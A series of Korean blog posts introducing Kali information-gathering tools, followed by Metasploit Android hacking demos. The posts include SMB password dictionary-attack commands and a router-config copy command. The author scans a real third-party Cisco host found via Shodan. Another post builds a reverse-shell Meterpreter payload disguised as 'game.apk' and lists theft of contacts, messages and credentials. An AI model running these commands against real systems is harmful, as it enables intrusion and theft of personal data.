[원문: http://tools.kali.org/information-gathering/copy-router-config]


정의

Copies configuration files from Cisco devices running SNMP.

 간략하게 Copy-router-config는 TFTP 서버로 SNMP로 동작하는 시스코 라우터의 설정파일을 복사하는 것으로 요약할 수 있다. 여기에서 SNMP란 Simple Network Management Protocol로 네트워크 장비를 관리 감시하기 위한 목적으로 UDP에 정의된 응용 계층 표준 프로토콜이다. 

목적으로는 만약 라우터의 RW(read/write) community string*을 가지고 있다면 시스코 장비로부터 전체 라우터 설정파일을 카피하는 데 있다.

-community string(참고: 리눅스포털-웹서버구축 보안점검가이드[2] - 네트워크 취약점 점검)

SNMP에서 community 문자열(string)은 SNMPd(데몬)와 클라이언트가 데이터를 교환하기 전에 인증하는 일종의 패스워드로서 초기값으로 public 또는 private로 설정되어 있다. 이는 상당히 보안상 위험하다.
그럼에도 불구하고 대부분의 시스템, 네트워크 관리자들이 기본적인 문자열인 public을 그대로 사용하거나 다른 문자열로 변경을 해도 상호나 monitor, router, mrtg 등 사회공학적으로 추측할 수 있는 문자열을 사용하고 있어 문제가 되고 있다. community 문자열(string)은 뒤에서 설명할“service password-encryption”라는 명령어로도 암호화되지 않으므로 반드시 기존의 public 대신 누구나 추측하기 어렵고 의미가 없는 문자열로 변경하도록 하여야 한다. 그리고 SNMP에서는 RO(Read Only)와 RW(Read Write) 모드를 제공하는데, 대부분 RO모드를 사용하지만 일부 관리자들은 SNMP를 이용한 쉬운 관리를 위해 RW(Read Write) community 문자열을 사용하는 경우도 있다.


Usage

원리는 공격자가 라우터에서 직접 다운로드 할 수 없기 때문에 라우터에 TFTP서버에 다운 받을 수 있도록 명령을 내린다. 그러면 TFTP서버는 라우터로부터 다운을 받게되고 공격자는 TFTP서버에서 다운을 받을 수 있다.

위에 언급했듯이 라우터와 TFTP서버, 그리고 community로 이루어진다.

example

#copy-router-config.pl 192.168.1.1 192.168.1.15 private


반대로 copy-router-config가 다운을 받는 것이라면 업로드를 할 수 있지도 않을까?

이때는 merge-router-config를 사용하면 된다.


라우터에 대한 실습은 현재 테스트 환경이 좋지 않아 추후 한번에 몰아서 하겠다.

노트.
(칼리에 TFTP데몬 방법: http://www.question-defense.com/2012/12/30/copy-router-config-backtrack-5-vulnerability-assessment-network-assessment-cisco-tools-copy-router-config 확인 필요)

'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering09]dnmap  (0) 2016.02.24
[Information-Gathering08]DMitry  (0) 2016.02.24
[Information-Gathering06]cookie cadger  (0) 2016.02.23
[Information-Gathering05]cisco-torch  (0) 2016.02.23
[Information-Gathering04]cdpsnarf  (0) 2016.02.23

[원문: http://tools.kali.org/information-gathering/cookie-cadger]


정의

Cookie Cadger helps identify information leakage from applications that utilize insecure HTTP GET requests.


Web providers have started stepping up to the plate since Firesheep was released in 2010. Today, most major websites can provide SSL/TLS during all transactions, preventing cookie data from leaking over wired Ethernet or insecure Wi-Fi. But the fact remains that Firesheep was more of a toy than a tool. Cookie Cadger is the first open-source pen-testing tool ever made for intercepting and replaying specific insecure HTTP GET requests into a browser.


Cookie Cadgers Request Enumeration Abilities


Cookie Cadger is a graphical utility which harnesses the power of the Wireshark suite and Java to provide a fully cross-platform, entirely open- source utility which can monitor wired Ethernet, insecure Wi-Fi, or load a packet capture file for offline analysis.

 간략하게 Cookie Cadger는 안전하지 않은 HTTP GET 요청을 이용하는 어플리케이션으로부터 정보 유출을 진단하는 도구

요즘은 웹에서 SSL/TLS를 제공하기 때문에 쿠키데이터는 안전하게 보관되기때문에 활용도는 많이 떨어질 것으로 판단됨.

그래서인지 cookie cadger는 칼리2.0에서 기본적으로 제공되지 않음

Usage

https://www.cookiecadger.com/ 접속 후 다운로드

다운로드 버튼 클릭

jar파일 다운로드

실행방법

#java -jar CookieCadger<version>.jar

위의 사진은 실행화면이다.

arp -a로 맥주소확인

target pc인  ubuntu의 맥주소이다.

좌측은 우분투(target pc)에서 네이버를 실행한 것이고 우측은 칼리의 cookie cadger gui모습이다.

취약한 사이트를 찾기엔 시간도 걸려 그냥 네이버로 실행하였다.

위의 사진을 보면 가운데 도메인이 나오고 우측에는 요청된 것들이 나오는데 행에 마우스 커서를 올려놓으면 쿠키데이터를 확인할 수 있다. 또한 Load Domain Cookies 버튼을 클릭하면 해당 쿠키데이터를 기반으로 칼리에서 웹으로 실행이 된다. 물론 네이버는 안되지만 취약한 사이트를 찾아서 테스트해보는 것도 나쁘지는 않을 것 같다.


해당 포스팅은 단순 소개를 목적으로 하기 때문에 위의 언급사항에 대해서는 진행하지 않는다.

또한 앞으로 칼리2.0에서 지원하지 않는 도구는 시간 상 skip...

'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering08]DMitry  (0) 2016.02.24
[Information-Gathering07]copy-router-config  (0) 2016.02.24
[Information-Gathering05]cisco-torch  (0) 2016.02.23
[Information-Gathering04]cdpsnarf  (0) 2016.02.23
[Information-Gathering03]automater  (0) 2016.02.22

[원문: http://tools.kali.org/information-gathering/cisco-torch]


정의

Cisco Torch mass scanning, fingerprinting, and exploitation tool was written while working on the next edition of the “Hacking Exposed Cisco Networks”, since the tools available on the market could not meet our needs.


The main feature that makes Cisco-torch different from similar tools is the extensive use of forking to launch multiple scanning processes on the background for maximum scanning efficiency. Also, it uses several methods of application layer fingerprinting simultaneously, if needed. We wanted something fast to discover remote Cisco hosts running Telnet, SSH, Web, NTP and SNMP services and launch dictionary attacks against the services discovered..

 간략하게 Cisco Torch는 cisco device scanner로 cisco network의 취약점을 가지고 스캐닝하는 도구이다. 가장 큰 특징으로는 다른 유사한 툴과 달리 효과적으로 스캐닝하기 위해 백그라운드에서 멀티 스캐닝 프로세스를 사용한다는 것이다. 

Cisco torch는 Telnet, SSH, Web, NTP, SNMP와 같은 서비스를 발견하고 해당 서비스에 대해 패스워드 사전 공격(dictionary attack)을 수행한다.


Usage

해당 옵션은 위와 같다. 상황에 따라 텔넷, SSH 등 개별적으로 옵션을 줄 수 있다.

테스트 환경 구축이 어려워 쇼단의 힘을 빌렸다. 쇼단의 설명은 http://kkn1220.tistory.com/68 를 참고하면 된다.

쇼단에서 간단하게 cisco와 한국이라고만 명시하고 검색하면 아래의 그림과 같이 조건에 맞는 것들이 출력된다.

단, 필터의 경우 로그인이 필요하다.

위의 주소 중 하나를 대상으로 cisco-torch를 테스트하였다.

위의 내용은 사실 shodan에서 출력된 내용들과 같다. 

다만 옵션 중에 -b를 사용하면 패스워드 사전 공격이 수행된다.

테스트 환경이 없고 위의 ip를 사용할 경우 악의적 사용이 되는 것이기 때문에 테스트 환경 구축 후 테스트 할 예정이다.

'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering07]copy-router-config  (0) 2016.02.24
[Information-Gathering06]cookie cadger  (0) 2016.02.23
[Information-Gathering04]cdpsnarf  (0) 2016.02.23
[Information-Gathering03]automater  (0) 2016.02.22
[Information-Gathering02]amap  (0) 2016.02.22

[원문: http://tools.kali.org/information-gathering/cdpsnarf]


정의

CDPSnarf is a network sniffer exclusively written to extract information from CDP packets.

It provides all the information a “show cdp neighbors detail” command would return on a Cisco router and even more.

 간략하게 CDPSnarf는 네트워크 스니퍼로 CDP 패킷으로부터 정보를 추출하는 것이다.
위의 CDP는 Cisco Device Protocol이며, 한국어로 억지스럽게 번역(?)하자면 CDP를 잡아채다 정도로 이해할 수 있다.


얻을 수 있는 정보는 아래와 같다.

  • Time intervals between CDP advertisements
  • Source MAC address
  • CDP Version
  • TTL
  • Checksum
  • Device ID
  • Software version
  • Platform
  • Addresses
  • Port ID
  • Capabilities
  • Duplex
  • Save packets in PCAP dump file format
  • Read packets from PCAP dump files
  • Debugging information (using the “-d” flag)
  • Tested with IPv4 and IPv6

Usage

테스트 환경을 구축하기가 어려운 형편이었기에 CDP 샘플 패킷을 구해 read형식으로만 확인할 수 있었다.

환경이 구축되어 있다면 아래와 같은 명령어를 사용하면 된다.

#cdpsnarf -i eth0 -w <pcap_file>    

나는 읽어야 되기 때문에 다음과 같은 명령어를 사용하였다.

#cdpsnarf -r <pcap_file_name>

위의 사진과 같이 맥주소, 버전, Device ID, platform 등의 내용을 추출할 수 있는 것을 확인할 수 있다.

'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering06]cookie cadger  (0) 2016.02.23
[Information-Gathering05]cisco-torch  (0) 2016.02.23
[Information-Gathering03]automater  (0) 2016.02.22
[Information-Gathering02]amap  (0) 2016.02.22
[Information-Gathering01]acccheck  (0) 2016.02.22

[원문: http://tools.kali.org/information-gathering/automater]


정의

Automater is a URL/Domain, IP Address, and Md5 Hash OSINT tool aimed at making the analysis process easier for intrusion Analysts. Given a target (URL, IP, or HASH) or a file full of targets Automater will return relevant results from sources like the following: IPvoid.com, Robtex.com, Fortiguard.com, unshorten.me, Urlvoid.com, Labs.alienvault.com, ThreatExpert, VxVault, and VirusTotal.

 간략하게 Automater는 URL/Domain, IP 주소 등의 정보를 수집 및 분석하는 도구이다. 

위의 내용을 보면 IPvoid.com, Robtex.com, Fortiguard.com 등에서 정보를 수집한다.


Usage

옵션에 대해서는 위의 내용을 참고하면 된다.


구글을 대상으로 automater를 사용하였다.

위의 사진을 보면 알 수 있듯이 URL이나 Malcode 등 결과값이 없다. 정보 수집하는 곳 중, https://malc0de.com이 뭔가 직접적으로 나에게 와닿아 사이트에 접속해보았다.(http://malc0de.com/database/)

위의 사진과 같이 mal코드에 대해 저장하는 모습이다.


다음으로는 ip블랙리스트를 확인해보았다.(http://malc0de.com/bl/IP_Blacklist.txt)

아래의 그림과 같이 2016년 2월 21일 기준으로 블랙리스트 IP들을 확인할 수 있었다.


위의 주소 중 하나를 대상으로 automater를 확인해보았다.

중간 생략..

위는 감지한 내용의 그림이다.

사용해본결과 적은 옵션에도 불구하고 사용법은 깔끔하고 많은 것을 제공해 줄 것 같다.

일을 하다 의심이 될만한 ip를 조회하는데 좋은 툴일 것으로 사료된다.





'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering06]cookie cadger  (0) 2016.02.23
[Information-Gathering05]cisco-torch  (0) 2016.02.23
[Information-Gathering04]cdpsnarf  (0) 2016.02.23
[Information-Gathering02]amap  (0) 2016.02.22
[Information-Gathering01]acccheck  (0) 2016.02.22

[원문: http://tools.kali.org/information-gathering/amap]


정의

Amap was the first next-generation scanning tool for pentesters. It attempts to identify applications even if they are running on a different port than normal. It also identifies non-ascii based applications. This is achieved by sending trigger packets, and looking up the responses in a list of response strings.

 간략하게 Amap은 모의해킹을 위한 첫 스캐닝 도구로 일반적인 포트번호가 아닌 다른 포트로 실행 중인 어플리케이션까지도 탐지한다.


Usage

솔직히 말해서 amap의 기능들은 nmap을 통해 확인할 수 있기 때문에 굳이 필요한 기능인지 싶지만 first next-generation scanning tool이라고 명시되어 있기에 예의상 확인하고자 한다.


주요 옵션은 아래와 같다.

[Mode]

-A    Map application; 기본값

-B    트리거는 보내지 않고 배너만 확인

-P    배너나 어플리케이션은 중요하지 않고 포트 스캔만 수행

[Options]

-1    only 1번만 트리거 패킷 전송; speeeeeed!

-6    IPv4대신 IPv6 사용

-b    응답으로 배너를 ascii 로 출력

-i FILE    nmap이 File로부터 포트를 읽기위한 아웃풋 파일

-u    UDP에 특정화된 포트 출력(기본값: TCP)

-R    RPC는 사용 안함

-H    영향을 주지 않을 정도로만 트리거 패킷 전송

-U    인식할 수 없는 응답까지 덤프

-d    모든 응답 덤프

-v    자세히

-q    닫힌 포트는 출력안함

-o FILE [-m]    아웃풋을 FILE로 만들어줌

-c CONS   병렬 연결수 지정(기본값:32, 최대값:256)

-C RETRIES    다시 연결 시도 회수 지정(기본값:3)

-T SEC    연결 시도 시간 지정(기본값: 5)

-t SEC    응답 제한 시간 지정(기본값: 5)

-p PROTO    지정된 프로토콜을 위해서만 트리거 전송

TARGET PORT    스캔 하기 위한 타겟 주소 및 포트 

bqv를 추천


target pc:192.168.100.5(ubuntu)

현재 LISTEN port확인

칼리에서 target pc에 amap으로 확인

기능이 nmap에도 제공되기 때문에 굳이 사용은 잘 안하게 될 듯..

'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering06]cookie cadger  (0) 2016.02.23
[Information-Gathering05]cisco-torch  (0) 2016.02.23
[Information-Gathering04]cdpsnarf  (0) 2016.02.23
[Information-Gathering03]automater  (0) 2016.02.22
[Information-Gathering01]acccheck  (0) 2016.02.22

[원문: http://tools.kali.org/information-gathering/acccheck]


정의

The tool is designed as a password dictionary attack tools that targets windows authentication via the SMB protocol.
It is really a wrapper script around the 'smbclient' binary, and as a result is dependent on it for its execution.

 간략하게 accheck는 SMB프로토콜을 통해 윈도우 인증을 대상으로 사전 공격(dictionary attack)을 하는 것이다.
즉, 미리 사전에 유추 단어를 저장해놓고 이를 기반으로 공격하는 형태로 이루어져있다.


Usage

위의 사용법을 보면 알 수 있듯이 꽤 간단하다.


주요 옵션은 아래와 같다.

-t [단일 호스트 IP 주소]

-T [파일로 구성된 타겟 IP 주소 리스트]

-p [단일 패스워드]

-P [파일로 구성된 패스워드 리스트]

-u [단일 사용자]

-U [파일로 구성된 사용자 리스트]

-v [자세히 봄]


예제

#acccheck -t 10.10.10.1

//단일 사용자의 주소만을 사용하며 이 때 사용자는 administrator이고 패스워드는 없을 때 가능

#acccheck -t 10.10.10.1 -P password.txt

//패스워드 리스트파일 password.txt를 사용하여 파일 리스트에 일치하는 패스워드로 administrator계정에 일치시킴

#acccheck -t 10.10.10.1 -U users.txt -P password.txt

//user list에 있는 모든 사용자를 대상으로 패스워드 유추

#acccheck -t 10.10.10.1 -u administrator -p password

//administrator라는 유저로 password 가 맞는지 유추




'해킹 > kali tools' 카테고리의 다른 글

[Information-Gathering06]cookie cadger  (0) 2016.02.23
[Information-Gathering05]cisco-torch  (0) 2016.02.23
[Information-Gathering04]cdpsnarf  (0) 2016.02.23
[Information-Gathering03]automater  (0) 2016.02.22
[Information-Gathering02]amap  (0) 2016.02.22

내용은 이전 kali 를 이용한 안드로이드 해킹과 같다.

다만 swt를 활용하여 UI를 입혀보았다.

또한 msfconsole창에서 사용한 것이 아닌 이클립스 swt 창으로 실행되는 것을 구현해보았다.


회사 로드쇼에서 사용한 것이기 때문에 소스코드는 공개하지 못한다는 점 양해 구합니다..

(이런것도 가능하구나! 라고 생각하시면 좋을 것 같습니다)


시연 목적

- 해커가 도어락을 제어하는 것과 단말을 원격으로 제어한다는 컨셉


시연 환경

- vmware11

- 이클립스 kepler버전(최신버전인 luna의 경우 SWT design을 지원하지 않아 그 전 버전 kepler 사용)

- 안드로이드 4.3 갤럭시 s3(루팅 단말, 악성코드 앱 설치, 악성코드 앱이 죽지 않도록 임모탈 앱 설치)


용어 설명

1. metasploit: 오픈소스 도구로 공격코드, payload encoder, 보안 테스트 등을 제공하는 도구

2. msfconsole: metasploit framework 내에서 이용할 수 있는 설정과 옵션 제공

3. payload: framework에 의해 선택되고 전송되어 실행되길 원하는 시스템의 코드

4. exploit: 컴퓨터, 단말 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령

5. resource: 실행파일을 로드하여 msfconsole에서 사용할 수 있도록 함

6. meterpreter: 실제로 희생자의 단말에 붙을 때 실행할 수 있는 명령어를 입력할 수 있는 콘솔


순서

1. 이클립스(Run)

2. service postgresql start (자동 구현) -db 작동

3. msfconsole 실행 (자동 구현)

- 스크립트 실행

- use multi/handler

- set PAYLOAD android/meterpreter/reverse_tcp   //시스템 코드 중 안드로이드 리버스 tcp코드 실행

- set LHOST xxx.xxx.x.xx     //kali linux ip설정

- set LPORT xxxx            //kali linux port 설정

4. resource 한번 더 실행 (자동 구현)

- 스크립트 실행

- set AutoRunScript<스크립트 파일 명>   핵심

 //meterpreter에 접속이 될 때 루비언어로 바로 실행 모드로 전환할 수 있도록 설정

 //실제로 구현해보면 알 수 있지만 meterpreter 창 실행은이클립스에서 제어가 안됨

 //즉 스크립트를 통해 meterpreter > 모드로 진입할 수 있도록 스크립트 구현함

- exploit


위의 내용까지의 이클립스 콘솔 화면



starting PostgreSQL 9.1 database server: main        //service postgresql start

msf > resource <file명>                            //resource 실행


kali에서 내용 복사가 안되어 전에 작성한 파일 캡처로 대체하겠습니다...



------------위 설명까지는 이클립스에서 run을 실행했을 때 자동으로 실행이 됨(이클립스 콘솔 확인 가능)



swt를 활용하여 구성한 UI(허접합니다..)


GUI 화면

1. button1: System Information        //sysinfo 명령어 사용(단말 확인 가능)

2. button2: check Rooting            //단말 루팅 확인 가능

3. button3: Message Dump 및 Dump파일 open

4. button4: TcpDump 및 open       

5. DoorLockOpen


Tcpdump의 경우 루팅 된 단말에서는 가능하기 때문에 시연에서 사용

예)

메시지 덤프 후 덤프 파일 OPEN(개발용 단말이기 때문에 개인적 메시지가 없음..)


Tcpdump 뜬 화면


앱에서 도어락을 열 때 id/pw 탈취



현재 도어락과 연결되어 있지 않아 DoorLockOPEN 버튼이 활성화 되지 않지만

구현 때에는 open되고 창에는 SUCCESS 메시지 출력



뭐 그렇게 대단한 내용은 아니지만

msfconsole을 별도의 GUI를 만들어서 해킹 시나리오를 만들어봤다는데에 의의를 두는 프로젝트였습니다.

또한 swt도 처음이고 칼리 안드로이드 해킹도 처음이어서 많이 배울 수 있는 기회였습니다.


1. kali linux 실행


#msfconsole


2. msfpayload(reverse tcp)


#msfpayload android/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=4444 R > game.apk

(msfpayload android/meterpreter/reverse_tcp LHOST=your ip LPORT=anything port R > xxx.apk)



위의 명령을 입력하면 game.apk라는 앱이 생성된다. 이를 희생자 apk에 설치한다.

LHOST는 자신의 IP를 입력하여야 한다. 그러면 희생자는 LHOST 및 해당 포트에 연결된다.


해당 앱을 분석해보면





를 확인해 볼 수 있다.


msf>use multi/handler  

msf>set PAYLOAD android/meterpreter/reverse_tcp

msf>set LHOST 192.168.102.128

msf>set LPORT 4444

     


msf> show options


잘 된 것을 확인할 수 있다.


msf>exploit




희생자 안드로이드를 기다리게 된다...


안드로이드가 붙으면 세션이 open된다.


meterpreter > sysinfo        //안드로이드 시스템정보 확인


그밖에 루팅된 단말인지 확인

전화번호부 탈취, 메시지 탈취, 통화기록 탈취

카메라 제어(동영상 촬영도 됨.....)

안드로이드 shell 사용


등등 기능 많음


시간 관계상 각각의 기능은 추후 업데이트 예정



metasploit이란?

-> 오픈소스 도구로 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계


metasploit 특징

1. 공개된 공격코드 정리/검증을 시간 단축

2. 여러 플랫폼 사용 가능

3. 취약점을 빠르게 최신화

4. 취약점에 대한 쉘코드 제공


metasploit framework



metasploit 용어

1. exploit

- 익스플로잇은 공격자 또는 모의해킹 테스터가 시스템 응용프로그램, 서비스 내의 결함을 찾는 데 수단

- 일반적인 익스플로잇은 버퍼 오버플로우, 웹 어플리케이션 취약점(SQL-injection), 설정 에러 등 포함

2. payload

- 프레임워크에 의해 선택되고 전송되어 실행되길 원하는 시스템 코드

- 공격대상인 운영시스템에서 수행될 몇몇 명령어들을 심플하게 해놓은 것 일 수 있음

3. MSFConsole

- 프레임워크안에서 이용가능한 거의 모든 설정과 옵션을 제공하는 툴

- 사용자 친화적인 대화형 방식을 사용해 모든 기능에 접근하는 인터페이스

4. MSFcli

- 프레임워크의 고유한 인터프리터를 사용하지 않고 커맨드 라인으로 직접 수행하는 인터페이스

(http://nakyungpapa.tistory.com/153 내용 발췌)



msfconsole 사용



kali에서 msfconsole을 치면 콘솔을 사용할 수 있는데 가끔 다음과 같은 메시지의 오류를 확인할 수 있다.


Failed to connect to the database: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432??


이는 

#service postgresql start 를 통해 해결할 수 있다.





msfconsole을 실행하면 아래와 같이 화면이 출력된다. 이미지는 매번 바뀐다.




msfconsole 관련 커맨드들





exploit code 확인 명령어




보이는 것 같이 엄청 많다. 윈도우, 리눅스, 유닉스, 안드로이드 등 이름과 날짜, 위험수준, 그리고 어떤 취약점을 이용한 공격인지 확인할 수 있다.


+ Recent posts